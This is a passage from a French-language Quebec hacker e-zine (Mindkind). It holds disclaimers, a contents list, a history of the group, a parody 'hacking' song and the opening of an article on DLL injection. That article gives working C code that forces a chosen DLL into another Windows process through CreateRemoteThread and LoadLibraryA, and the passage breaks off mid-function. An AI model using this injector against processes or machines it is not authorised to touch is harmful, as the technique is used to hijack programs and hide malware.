best viewed in with firefox
topic
___________________ __________________
..---` ``-. ___,,--` `--,
`, --__.-----------.--_ --. .-----------. ,----' ___ _________;
'. | `, .` |, __,` ,\ `. /` | .``---,__,`` ``----------`
`.,____|`. . / .`| ----' | `. \ ,' /| / , O . \
| \ \/ / | | \ `. ,' |, o . , o |
| ' XX\ \ / `/ X, _____| . _______|,,,.------.
| /`\ \ \ / ,' X/ \ | _--' `--' ,`
| ,' / \ \ \ / / / \ `,| '. --__ _____________-`
|- ,' `. `, .\ /\ / / `. | ',_______,-``o ,-
\,- \ .,/ /\ /\ ` ,' ,' \/ `'-'`
`', ' X\,` \ / `\/X,/ ,'`
_____ `\ /\X `, \ / /X,'', /`
'------_____`./` / \ . \ /, ,' / \, \.`
_____ \/` `. \ / \ / \/ / \/ _________
----___ `. \X',/`\ / \./X,' .` ,^. ___--` `--___
__,,'\ /\X \ ' ' ,'X/ \, / / | \ _-----` `.
----__________-`` `./` /`. \.` `\/ .'`\ \` / | \ | -----____----- \
\/` ,` \ / \,` '/ /___x___\ , __;
`. /\ \ / /\ .` \ |\ / ``''-----.,____ __,--'''
'` \, ./ / \`' \ | \/ `'''
\/.. / \ \ | /\
/|OO|/\ ; \|/ \
/ ''/ \ _| \
/\ / /\ \//- \
.` ,, / --\ -' ``. \
/ / ,/ \- ` . \
./ \./ / `\ /` \ `. / `. \ Mindkind
/ `.'X / / . \ \ / \ , mantra
.` ,'X,'\. / |\ \XX\` \ \
/ / ,'\, / | \/` ,\ \ `\ \
./ \. / / \/ | \ / \ `. /`. |
,- \. ' / /-+ | \` \ \,' / -, \
_,.'` /XX/ / | | |\ \ \,' `'.,_ , -The goal is yours,
/\ ' / `\ /-+-+ | +-\ ,`XX\ .\ \ chose a system,
| `. ,' ' \, \/| | | | | |\ / ,`. ` ` | \ use it,
|`. ', / ,' \| +-+-+ | +-+--` / \ `. ,` /| \ Just don't get
| `, \/ / / | \/` \ \ / ,' | \ caught by it.
| '/X / / | \ \ X\ / | \
| / X/\ | | | \ X\ | \
| ' /`.`. / | \ ,' \ `. | \
| ,' ' `.`, | +-+-+ | +-+-+ | / / `. , | \
|/ ,' ','; | | | | | | | | ' / \ \| \ \_,./ ,
| / || +-+-+ | +-+-+ |` ,' \ | | \ / / \
'------------- | | | | | | | | `-------------' \\/ .' /\/ \
| +-+-+ | +-+-+ | /\ \ | | \ \
/ | \ / \ | \ | \
/ | \ /||/ | |/ \/ ,
/ | \ | \ | | __ / \
/ __,,,,../\.,,,,_ \ .| | \ ` |./ `--_ \
/--'''````` | ```''--\ -\`-,/ |\ / / .--,/ \
/ ______ | \ /\ \. | | / / \ \
/ /____ / \ \ \ `\ ,/ /\ \ .-.
/ |` || | \ /`---_ / \/ \|` {}
/ | || | \ / | /| \/ ''-'}
_,, / | o|| | \ .` | | | \|
,-` `.,,,,/.......,,_|_____||__,,,,.-- `'., _,,,,,,\ / , |
-` `````` `'.,,__/ \ /|
`````'''\\-.,......-````````````
les dix claimers ;)
Live du nouveau command center, un nouveau e-zine est assemblé. Suite une peste noire qui à
fait rage derrière les murs de la civilisation, la rédaction d'un nouveau e-zine a été retooler
en masque sanitaire et en égout fluvial. On vient à peine de bruler les derniers rats qui
restaient, et une nouvelle ère de prospérité feudal s'annonce au son des toux sèches de nos
concitoyens.. L'environnement de vie a changé d'air, la capitale politique a doublé sa réserve
d'oxygène et espère remplir le tout d'un puissant Multi-VAC pouvant résoudre de grandes énigmes
existentielles. Le tout récent ajout d'une console de communication nous permet de mieux dissiper
le fog-of-war, et les réels objectifs percent déjà les nuages de l'inconnue. Sous cette avalanche
de métaphores, on désire simplement vous rassurer en prétendant être digne de vos attentes,
en vous offrant d'abord un disclamer dans les règles de l'art ;).. et et ensuite un zine des plus
culturel. Puisse-il rayonner à votre chevet, mettant à jour votre perception toute relative
de l'ignorance. Et à cette fin, nous désirons vous rappeler qu'il serait hasardeux de nous pointer
du doigt en disant "j'savais pas, c'est la que j'ai lu ça ".. Car si tel est bien le cas, vous
devrez accepter que la lecture seule de cette oeuvre est en soi une acceptation intégrale et
éthique de l'objectivité nécessaire à la pratique de certaines théories. Si vous lisez donc par
mégarde ce texte sur les toilettes d'un ami, et que vous êtes perturbé, psychologiquement
(ou plutôt physiquement) arrêtez sur le champ le supplice qu'on vous impose, et concentrez-vous
plutôt sur votre bienêtre immédiat..
Il est aussi à noter que toutes fautes ou erreurs de français pouvant s'être introduit dans cet
ouvrage peut-être l'oeuvre de fantômes britanniques désireux de pousser plus loin une guerre de
la langue en ces temps incertains.
Pour tout les autres, le temps de distortionne déjà, et vous pénétrer dans un roman technique de
science-fiction. La gravitée perd déjà de son emprise, et vous fonder doucement dans l'écrit en
question..Vos paupières sont lourdes... lourdes... vous êtes en transe, les mots qui sont écrits
ici n'ont déjà pour vous plus aucun sens.
[Seules les personnes munies des paupières translucides de la lucidité diligente devraient pouvoir
lire maintenant]
-Got your's ?
_____ ________ ________ ______ ____ __ __ _
/____/ / // // /\ \\ \\ \ \ \ \\ \
___ / ____//_______//__/ \__\\___\\_\ \_\ \\ \
| | | / / \
| | | | / /\ \
__|___|_|__| _______ ___ __/__/__\__\__ ___ __ __ _
__\\________\\______\\__\\____________//__//_/ /_/ // /
|\\ | | | | | / / \ \
| \\| | \___/ | / / /\ \ \
| \ \ / / / / \ \ \
\ | \_______/ / / / /\ \ \ \
__|\\ |______________/ /___/ / \ \___\ \____ ___ __ _
| \\| / / \ \
|__\. /\
Nous autres on n’est pas méchant, on les met au microondes.
__ __ __ _____
/ / / /___ ______/ /_|__ / _____ _____
/ /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/
/ __ / /_/ / /__/ ,< ___/ / |/ / __/ /
/_/ /_/\__,_/\___/_/|_/____/|___/\___/_/ - (c)Hack3ver - All rights reversed.
Bienvenue sur Hack3ver !
Tout le contenu de ce site est là pour information, distraction, et pour rendre compte des dangers
d'un système mal configuré . Hackever est un site déstiné aux passionnés d informatiques qui
souhaitent apprendres et partagez leurs connaissances. L'équipe de Hackever et son hébergeur ne
sont en aucun cas responsables des actes ou agissements quelque en soit la sorte, qui pourrait
survenir après la lecture de ces articles, de son forum ou de son chan irc. Le Code pénal Français
réprime les intrusions et le maintient dans un système informatique. Hackever vous invite donc à
prendre connaissance des lois françaises et des respectés avant de rentrer sur ce site.
Si vous ne comprenez pas, ou n'êtes pas d'accord avec ce qui est écrit ci-dessus et que vos
intentions sont d'enfreindre ces règles, ne lisez pas nos articles, notre forum, et ne venez pas
sur notre chan irc. Pour nous contacter : #hackever sur irc.worldnet.net .
Outl4wz
Souviens-toi que tout le concept du hacking est d'explorer les limites et de créer quelque chose
de nouveau, et c'est probablement surprenant. Le fait que quelque chose n'ai jamais été fait avant
ne doit pas t'arrêter à tenter de le faire. Au contraire, tu devrais le prendre comme un défi.
Chaque fois que tu te demandes si c'est possible de le faire, la bonne réponse est "Tu n'as qu'à
essayer". enfin, outl4wz ne garantit pas le bon fonctionnement de programmes Il rejette toute
responsabilité pour toute perte, directe ou indirecte,
Avis à tous les l33t0z ceci n'est pas une joke.
Ceci est un article qui vous permettra de détourner des milliers de dollars et de priver des milliers
d'Américains d'eau et d'électricité, donc utilisez cet article avec modération dans un but d'acquérir
des connaissances et non de nuire à la santé des autres.
En d'autres termes ceci ne sert strictement à rien :p c'est juste histoire de faire le type bien et de
remplir une intro pour faire style :) Cet article est purement théorique, et puis la démonstration faite
est basée sur une faille qui est désormais quasiment introuvable :) et finalement.. comme dirait mon prof
de physique appliquée, "ceci ne vous mènera à rien, mais il faut le savoir pour la suite" :)
Donc les phrases du genre "je ne serais pas tenu responsable " vous pouvez vous les mettre ou je pense ;)
Bonne lecture, et puis si vous trouvez des choses incohérentes ou n'importe quoi d'autre, trouvez-moi,
c'est pas difficile je suis partout ;) (tu me crois pas regarde dans le lit de ta copine ;) )
---------------------------------------------------------------------------------------------..,
`'.
`'
-----------. ,--------, ,-----. ,---., `.
\ / \ / \ / `. \
`----------------------------------' `-----------` `----' `. \
\ \
,-----------------------------------------, ,---------------, ,------, \ \
/````\ `, /````\ `, /````\ `, \ \
; \ ; ; \ ; ; \ ; , ,
, \ [O1[ Le patrimoine lemurien ; , \ [ Wyzeman ] ; , \[CA]; | \
/ \ `/ \ `/ \ `, | |
| | [O2[ Dll Injection Reinvented | | [Ivanlef0u] | |[FR]| \ |
| | | | | | | | |
/ \ [O3[ NSocket - Socket Layer `. \ [ Ninja ] \ \[CA]\ | |
| | | | | | | \ \
| | [O4[ Exploit PWSPHP V1.2.3 | | [|folcan| ] | |[FR]| | |
| | | | | | | | |
/ \ [O5[ Intro To Nintendo DS Hacking ; \ [Dr Gonzo ] \ \[AU]\ | |
| | | | | | | \ \
| | [O6[ Get started with freeBSD | | [ Oda ] | |[FR]| | |
| ,-, | | ,-, | | ,-, | | ,-, | |
---------- \ | [O7[ Get Root,with small buff. no NOPs|--- \ | [ icefox ] |--- \ |[FR]|----- \ | |---
` | | | ` | | | ` | | | ` | | | `.
|| | [O8[ Arp injector | || | [Ivanlef0u] | || |[FR]| || | | |
, | | | , | | | , | | | , | | | .'
---------` / | [O9[ Utilisation de l'espace mem en c |--` / | [ Kitoy ] |--` / |[FR]|----` / | |--`
| `-' | | `-' | | `-' | | `-' | |
| | [1O[ Securisation dune FreeBSD | | [ Oda ] | |[FR]| | |
| | | | | | | / /
\ / [11[ Les feseux de veriter ; / [ c4ndu ] / /[CA]/ | |
| | | | | | | | |
| | [12[ Things that goes BOOM | | [ Ninja ] | |[CA]| | |
| | | | | | | / /
\ / [13[ Get started with ubuntu linux ,` / [ Burn3D ] / /[CA]/ | |
| | | | | | | | |
| | [14[ Shellcode | | [ Darkis ] | |[MA]| / |
, ;' ; ;' ; ;' ' | |
\ , [15[ RLREP ; \ , [ Ninja ] ;`\ ,[CA];' | /
\ / /` \ / /` \ / /' ` `
. / / . / / . / / / /
`-----------------------------------------' `---------------' `------' / /
/ /
,----------------------------------. ,-----------. ,----. ,' /
/ \ / \ / \ ,- /
-----------' `--------' `-----' `---'` ,'
_-
.'
---------------------------------------------------------------------------------------------''``
.. ,.-.. ,..,
| | .` `. | |
|''| |`'---'`| |`'-`|
|<<| | _____ | _,,..|[}{]|.,,,
_,|<<|,, | \ D / | ,-`` |[}{]| ``',
.` `..' `. | |A| | |-,, ``--'' _,-'|
| `''--''` | | |T| | | ``'''------''`` |
| [ O1 ] | | |A| | | [ Mindkind ] |
`. ~~ .' | / \ | `-,, ] 1010 [ _,-'
`''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''```
|<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]|
,``` .,-''``` |[ R ]| ``''-., |[}{]|,
| `. _,,,,...|| E ||...,,,,, '|[}{]| |
|`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'|
| `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| |
|`-,_ `````''''''---------'''''''````` |[}{]|'|
| `''[ ]|[}{]| |
|`-,_ [ Le patrimoine lemurien ]|[}{]|'|
| `''[ ] |[}{]| |
`-,_ [ ] _,,..|[}{]|.,,,
|<;`'-.,,,_ ,-`` |[}{]| ``',
,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'|
|`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` |
|`-,_`''-.,,,_ `````'''''---------'''''````| ] Wyzeman [ |
|`-,_`''-.,,, `````''''''---------'''''''```-,, _,-'
`-,_`''-.,,,[ ]``'''------''``
|<`|'-.,,,_[ ]_,,,.-|[}{]|
|<<| `````''''''---------'''''''````` |[}{]|
|<<| |]Aka: [| |[}{]|
|<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
|<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_
_.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-.,
; -` | |T| |,.....----------..|[}{]|,,,_ `' ;
|`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`|
| ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` |
| ````````''''''''''--------------''''''''''```````` |
| |
Bonjours a vous Lemurien d’un peu partout et ailleurs. Les récents évènements et les conséquences
qui en on suivit font en sorte que le patrimoine Lemurien de se mois-ci sera consacré a une
rétrospective de l’histoire de Mindkind afin de mieux saisir les troubles qui on ébranler votre
groupe favoris ;) et les solutions mises en oeuvre pour redresser la situation. La fin du
patrimoine de se ezine-ci vous permettra d’entrevoir les visées de Mindkind dans un avenir
rapprocher.
Pre-histoire
Mindkind 1.0
Mindkind 2.0
Golden Age
dark age
Mindkind 3.0
Pre-histoire
On peu remonter loin dans l’histoire de la scène québécoise pour trouver les racines du groupe
Mindkind, le projet-orb, a l’époque de IGA, est probablement la première version bêta d’un essai
de quelque chose qui ressemble a mindkind. En dautre mots on parle ici de l’australopithèque du
Lemurien moderne. L’idée était de rassembler les leaders des différents groupes québécois sur un
chatline d’eggdrop. Mais bon, le projet a fini par avorter, raison : “les eggdrops c “lame” !”.
La 2eme beta fu nommer Acme, qui avait pour but de créer un ezine a l’aide du staff de sector_x 2
(voir mon article sur l’histoire de la scène QC pour ceux qui sont perdus). Acme est à l’origine
du Schisme qui divisa sector_x 2 et créa éventuellement sa fin. Acme fut renommé Mindkind par
les anciens partisans du ezine de sector_x, et ainsi débutait la construction du groupe
Mindkind 1.0
Mindkind 1.0
Mindkind est née de l’imagination de Lastcall est Wyzeman, idée dans l’ombre a la fin de
l’époque IGA et durant les 2 ere sector_x, Mindkind est surgi du néant en 2000 pour y retourner
aussi vite quelque mois plus tard suite a “l’échec ” relatif a ce qui étais espère vis-avis les
réactions engendrer par le premier Ezine. Les espoirs étant grand, on avait jeté les bases du
groupe lors dune réunion irl au scratch en banlieue de Montréal, réunion a laquel Lastcall,
wyzeman, qwzykx, jackel, naxis et zarath avait assister, bien que durant tout l’ere de
mindkind 2.0 on ait proclamé que les fondateurs de mindkind étais ceux de la 2eme version, ce
n’est pas tout a fait le cas comme vous le voyez aujourd’hui, néanmoins du point de vu de
Mindkind 2.0 ce n’était pas entièrement faux. Ce qui est ressorti de cette première réunion
fu conservée dans un file nommée mkd-howto1-0.txt et conservée par lastcall. Manquais a la
réunion phawnky init_null et mindflayr qui n’avaient pu se déplacer, leur rolle n’ent sera pas
moins important, car on leur doit la survie du groupe durant l’inter reigne de mindkind 1.0 a 2.0.
Ils sont en quelque sorte les leaders obscures dune version 1.5 non officielle. Le groupe avait
été confier a Gonzo, qui lavait plus ou moins abandonner, ne croyant pas réussir là où tout le
monde pensais échouer anyway. La staff liste de la version 1.0 de Mindkind joue entre 10 et 15
membres selon les différents points de vue.
Mindkind 2.0
Golden Age
La version 2.0 de Mindkind est la version connue par la plus grande majorité d’entre vous. Sans
raison apparente, un noyau suffisamment actif de membre de mindkind était revenu au HQ et la
machine s’était remise en marche pour la production d’un 2eme ezine. Cette remise en fonction est
attribuée a la résistance conservatrice d’Init_null, mindflayr et phawnky, combiner a la technique
du chalet d’été employer par lastcall_ et du retour au bercail de Wyzeman et Qwzykx, c4- se greffa
a ce qui était appelé a l’époque le “kernel mindkind”. Wyzeman et Lastcall formant à 2 un
micro-kernel, l’un dédié à la construction interne du groupe, l’autre à son expansion. Chaque
membre du kernel étais supposer couvrir une région géographique du Québec, ainsi a notre création,
mindkind couvris, d’ouest en est, Hull, Montréal, Trois-rivière, Chicoutimi, Québec pour le Québec,
C4 tant qu’a lui obtenait la couverture de l’ensemble du territoire du Nouveau-Brunswick. h3, vient
bientôt ajouter Valleyfield sur la carte de Mindkind ainsi que rtfm et boiss qui venait fortement
renforcer notre emprise sur le centre du Québec en venant s’aligner au coté de Mindflayr à
Trois-rivières. Lastcall quant à lui fidèle a sa technique du chalet d’été maintenant aussi une
présence partielle dans la région. De plus, Lastcall grossissait son château fort à Mtl, pendant
que Wyzeman ouvrait un outpost, premier contact direct avec le public sur #mindkind.org . La
version 2.0 de Mindkind s’étend de 2001 a 2005, et vue la parution des ezine #2 a #8, et
l’émergence de Radio 31337, créer jadis, a l’époque de la fin de IGA et des débuts de Sector_x 1,
par Init_null, maintenant soutenu par un des chalets d’été a lastcall_. La présence de Mindkind
au Saguenay se faisait aussi de plus en plus dominante grâce au nombreux et talentueux contact
d’init_null.
Ayant la certitude d’avoir saturé le marcher québécois, Wyzeman décida qu’il fallait lancer le
groupe a l’assault du marcher francophone international et s’empara grâce a ses crapuleux talent
de S-E du sacrosaint #hack.fr undernet, tomber à la main des barbares en 2000. Tout allait pour le
mieux, les victoires s’accumulaient coup sur coup, ezine apres ezine, nous éclipsions toute
concurrence québécoise, nos succès à l’hackfest témoignant que nous ne sommes pas que des beaux
parleurs, Pyrofreak et certains autres groupes en ayant déjà fait les frais d'ailleurs. Le groupe fit
aussi durant cette période de nombreux meetings irl, a ce niveau, la période 2003-2004 fut
particulièrement fructueuse, au point ou 2 Power Point? furent créé a cet effet et le howto en fu
porter a sa 7eme revision. Lastcall_ créa un slide show des réunions les plus significatives
powerpoint 1 mindkind tour 2003
slideshow
mkdhowto 7.0
Dark Age
Tout semblait aller pour le mieux et aucune limite ne semblait trop loin pour Mindkind, mais dans
l’équation on avait naïvement oublié la réalité. Études, travail et femmes grugent beaucoup de temps
qu’un Lemurien peu donner a sa patrie, certains Lemurien doivent quitter leur fonction pour un
temps, le groupe y était habitué, c’est un processus normal et régénérateur, mais lorsque le membre
en question s’appelle lastcall, les répercussions sont plus importante, en tant que membre du micro
kernel responsable de l’intérieur, sont depart signifie que le second membre du micro kernel (voyez
qu’on avait bien pensé d’en nommer 2) se voit doubler sa “charge de travail”. Étant donné qu’a
cette époque, Mindkind listait 50 membres, dont une 30aine en reel activité. Et “l’empire extérieur”
composais dune dizaine de cannelle “front-end” rassemblant une population de 150 users env, plus
forum, radio, et autre projet plus discret. il fut impossible a l’ensemble du kernel de supporter
la charge supplémentaire, et le manque de documentation (le howto était aux mains de lastcall_, et à
vrai dire ne disait pas grand-chose après coup. D’un autre coter, Maznetwork ne remplissait n’y
s’est promesse, n’y nos poche, fait représentatif, des non-efforts progressifs consentit dans les
différents projets émergeant de Maznetwork. Ayant finalement perdu la casi totaliter de l’ile de
Montréal et le support des élites a l’interne, une politique de fuite par en avant fu appliquer, en
recrutant sans cesse, on parvint a maintenir un niveau de production suffisant pour conserver les
apparences de “l’empire externe”. Mais de l’intérieur, le groupe s’effondrait et brulait ses réserves
et ses ressources de façon dégénérative. Dans un ultime espoir de sauver le groupe, une série de
reforme furent tenté en vain, trop compliquer, trop tard, la reforme priva le groupe de ses repères
originel qui étais la seule chose qui maintenant encore une cohésion dans le groupe. Les chans, la
mailling liste se desertere. Du grand groupe que Mindkind avait été, il ne restais plus que quelques
nostalgiques qui finirent eux aussi par plier bagage. S’en était fini de Mindkind 2.0. Les reformes
entreprise en Decembre 2005 on eu pour résultant la fermeture officielle du groupe, 1 mois plus tard,
pratiquement jour pour jour.
Powerpoint 2 Mindkind tour 2005
Mindkind 3.0
Bien que Mindkind a cessé d’exister en janvier 2006, sont esprit na pas prit long a se reformer
quelque part. Le groupe certes n’existait plus, mais de nombreux ex membre on conserver contact entre
eux, qui a leur façon on conserver l’étincelle de vie, suffisante pour ramener Mindkind du royaume
des morts. De janvier à mars, aucun signe de vie, beaucoup de service ont été arrêter. Seul reste le
site Web, qui a été remis en ligne. Le nombre de visite reste stable malgré tout. La fédération
Hack.fr est restée intacte malgré la disparition subite de mindkind, qui faisait encore parti en
apparence de la fédération malgré tout. En avril, Wyzeman décide de reprendre l’ezine, en son nom,
comme mindkind n’existe plus, personne n’est la pour lui en empecher, et coup de maitre, avec l’aide
seul de la fédération hack.fr et des contacts extérieurs de Mindkind et quelques ex membre, un Ezine
Mindkind a été releaser. Limage semblait être resté intact, mais malgré l’ezine, et les signes de
reprise, les visiteurs fuis le site, les quelques alliances forgées à la va-vite pour recréer un core
actif mindkind s’effritent tout aussi rapidement. Wyzeman entreprend de libéraliser mindkind et
release quelque artéfact de la version 2.0 a des personnages clef de la scène pour redémarrer certain
projet. L’opération fournit des résultats mitigés. Néanmoins, la confiance semble revenir. Wyzeman
et Qwzykx ébauche les premières lignes de ce qui deviendra le howto. le guide suprême de Mindkind,
qui permettra de reconstruire le groupe sur des bases solides et fiables. Bien que désorganiser les
quelques membres qui étaient restés réussisse à créer un certain dynamisme. Le Ezine se voir grandement
libéraliser, maintenant construit sur un wiki, une équipe complète composer d’individu de différent
groupe s’occupe désormais de la production. #hack.fr a été redonné aux puristes dans l’espoir que la
qualité du chan s’améliore. La première réunion officielle de Mindkind 3.0 a lieu en juin 2006.
Lastcall et Wyzeman s’entendent sur les bases du plan de reconstruction. Le howto est confirmé dans
son rolle de référence ultime pour tout ce qui a trait au groupe mindkind. Il faudra attendre
septembre pour qu’un nombre suffisant de responsables Mindkind se rencontre pour officialiser la
première version du Howto et confirmer par le fait même le retour de Mindkind sous le # de version
3.0. Au même moment, le nombre de visite remonte en flèche. Tout semble bien s’enligner pour que la
reprise des activités de Mindkind se concrétise bien.
Mindkind 3.0 Howto 1.0
topic
_________________________________________________________
|
Entre-Articles Wyzeman |
_________________________________________________________|
| / / |
| / / |
| / / |
| / / |
|/ / |
| / &
| / &
| / / \
|/ [ Men without white hat - Safety Hack ]
|
| We can hack if we want to
| We can leave your crews behind
| Cause your crews don't hack and if they don't hack
| Well they're no crews of mine
| I say, we can root where we want to
| A place where they will never find
| And we can hack like we come from out of this world
| Leave the real one far behind
| And we can hack
|
|
| We can hack if we want to
| We can leave your crews behind
| Cause your crews don't hack and if they don't hack
| Well they're no crews of mine
| I say, we can root where we want to
| A place where they will never find
| And we can hack like we come from out of this world
| Leave the real one far behind
| And we can hack
| Hack!
|
| We can root when we want to
| The night is young and so am I
| And we can dress real neat from our hats to our hand
____| And surprise 'em with the victory cry
Say, we can hack if want to
If we don't nobody will
And you can hack real leet and totally remote
And I can hack like an script kid
I say, we can hack, we can hack
Everything out of control
We can hack, we can hack
We're doing it from box to box
We can hack, we can hack
Everybody look at your root
We can hack, we can hack
Everybody takin' the roooooooot
Safety hack
Is it safe to hack
Is it safe to hack
S-s-s-s A-a-a-a F-f-f-f E-e-e-e T-t-t-t Y-y-y-y
Safe, hack!
We can hack if we want to
We've got all your life and mine
As long as we abuse it, never gonna lose it
Everything'll work out right
I say, we can hack if we want to
We can leave your crews behind
Cause your crews don't hack and if they don't hack
Well they're no crews of mine
Is it safe to hack, oh is it safe to hack [6x]
Is it safe to hack
.. ,.-.. ,..,
| | .` `. | |
|''| |`'---'`| |`'-`|
|<<| | _____ | _,,..|[}{]|.,,,
_,|<<|,, | \ D / | ,-`` |[}{]| ``',
.` `..' `. | |A| | |-,, ``--'' _,-'|
| `''--''` | | |T| | | ``'''------''`` |
| [ O2 ] | | |A| | | [ Mindkind ] |
`. ~~ .' | / \ | `-,, ] 1010 [ _,-'
`''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''```
|<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]|
,``` .,-''``` |[ R ]| ``''-., |[}{]|,
| `. _,,,,...|| E ||...,,,,, '|[}{]| |
|`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'|
| `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| |
|`-,_ `````''''''---------'''''''````` |[}{]|'|
| `''[ ]|[}{]| |
|`-,_ [ Dll Injection Reinvented ]|[}{]|'|
| `''[ ] |[}{]| |
`-,_ [ ] _,,..|[}{]|.,,,
|<;`'-.,,,_ ,-`` |[}{]| ``',
,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'|
|`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` |
|`-,_`''-.,,,_ `````'''''---------'''''````| ] Ivanlef0u [ |
|`-,_`''-.,,, `````''''''---------'''''''```-,, _,-'
`-,_`''-.,,,[ ]``'''------''``
|<`|'-.,,,_[ ]_,,,.-|[}{]|
|<<| `````''''''---------'''''''````` |[}{]|
|<<| |]Aka: [| |[}{]|
|<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
|<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_
_.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-.,
; -` | |T| |,.....----------..|[}{]|,,,_ `' ;
|`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`|
| ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` |
| ````````''''''''''--------------''''''''''```````` |
| |
--------[ Intro
Grut everyone, chose promise chose due dans le dernier article "L'injection des
poulets" j'avais terminé en vous disant que j'allais vous montrer comment
injecter une DLL dans un processus alors pour ceux qui ont pas suivi l'épisode
je leurs conseille vivement de lire le précédent article et pour les autres
d'aller se chercher une bière et de s'installer, car l'émission va commencer !
Au programme ce soir mesdames et messieurs !!
1. Film culte interdit au moins de 18 ans: Injecte-moi par derrière
2. Documentaire sur la vie d'une DLL: Fuck me i'm a DLL
3. Un nouvel épisode de: Les Experts en UserLand
4. Un clip de Dj OllyBip: \x55\x8B\xEC
5. Enfin, le thème de la nuit sera: la disparition des modules en UserLand
6. Bonus Track
7. Happy End
--------[1.Injecte moi par derrière
Il est de retour, pour vous jouer un mauvais tour ! Le toujours aussi fou
Ivanlef0u, dans ce film il incarne un sérial-psychopathe-sodoculeur de process
avec des DLL, notre héros aura fort a faire avec l'API Win32 et sera souvent mis
en péril par les méchants qui veulent le capturer et lui faire manger des petits
pots de blédina froid (sic!) mais il aura comme compagnon sa bible, Windows PSDK
et son compagnon le fabuleux, l'irremplaçable, l'indestructible OllyDbg ! Alors
notre héros va t’il se faire pogner et bouffer de la bouillie ou bien réalisera
t'il son rêve de conquête du monde ? Pour le savoir regarder ce fabuleux film de
Albert Bretzel sorti en 1984 avant JC (Jean-Claude), Bonne soirée a tous.
Allay finit les conneries sur les petits pots et place au code.
Pour injecter une DLL dans un processus c'est pas bien compliqué, on
reprend le code de la dernière fois et on modifie une ligne, qui dit mieux !
Voici l'idée: : précédemment on injectait un code ou plutôt un shellcode qui
s'exécutait comme un grand avec le Thread nouvellement crée avec
CreateRemoteThread(), hé bien la on va faire la même chose sauf qu'on va use
LoadLibrary, cette magnifique fonction de Windows, voici son prototype:
HMODULE LoadLibrary(
LPCTSTR lpFileName
);
Il suffit donc de donner a LoadLibrary une string disant où est la DLL a chargée
et c'est dans la boite :] On va lancer notre Thread ds le process distant
sur le LoadLibrary de kernel32.dll et sur la stack, pointé par esp+4, on aura
comme argument un pointeur sur la string de la DLL.
LPTHREAD_START_ROUTINE
Injector=(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll",\
"LoadLibrary");
On defini ici le début de notre Thread sur LoadLibrary.
DWORD ThreadID;
HANDLE hThread=CreateRemoteThread(hProc, NULL, 0, Injector , Arg, 0,&ThreadID);
En fait injector est un pointeur sur le code que nous voulons effectuer.
Arg est donc l'adresse de la string dans la mémoire du process a injecté que
l'on a précédemment écrit avec WriteProcessMemory().
Allay voila le code:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <tlhelp32.h>
int NameToPid(char *ProcessName);
int main (int argc,char *argv[])
{
if (argc !=3){
printf("Usage is :inject <process> <dll path>\n");
return 0;
}
printf("[*]Ownage du processus: %s\n",argv[1]);
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, NameToPid(argv[1]));
if(hProc==NULL)
{
printf("Error with OpenProcess: %d\n",GetLastError());
return -1;
}
printf("[*]Handle: 0x%x\n",hProc);
int cbCodeSize = strlen(argv[2]) + 1;
printf("[*]CodeSize: %d\n",cbCodeSize);
LPVOID Arg = VirtualAllocEx(hProc, NULL, cbCodeSize,\
MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if (Arg==NULL)
{
printf("Error with VirtualAllocEx: %d\n",GetLastError());
return -1;
}
printf("[*]Emplacement memoire: 0x%x\n",Arg);
if (WriteProcessMemory(hProc, Arg, argv[2], cbCodeSize, 0) == FALSE)
{
printf("Error with WriteProcessMemory: %d\n",GetLastError());
return -1;
}
LPTHREAD_START_ROUTINE
Injector=(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll")\
,"LoadLibraryA");
DWORD ThreadID;
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, Injector , Arg, 0,\
&ThreadID);
if (hThread==NULL)
{
printf("Error with CreateRemoteThread: %d\n",GetLastError());
return -1;
}
if (WaitForSingleObject(hThread, INFINITE)==WAIT_FAILED)
{
printf("Error with WaitForSingleObject: %d\n",GetLastError());
return -1;
}
if(VirtualFreeEx(hProc, Arg, 0, MEM_DECOMMIT)==FALSE)
{
printf("Error with VirtualFreeEx: %d\n",GetLastError());
return -1;
}
if(CloseHandle(hThread)==FALSE)
{
printf("Error with CloseHandle: %d\n",GetLastError());
return -1;
}
printf("[*]Target injected\n");
return 0;
}
int NameToPid(char *ProcessName)
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError() );
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if( !Process32First( hProcessSnap, &pe32 ) )
{
printf("Error with Process32First: %d\n",GetLastError());
CloseHandle(hProcessSnap);
}
while(Process32Next(hProcessSnap,&pe32)!=0)
{
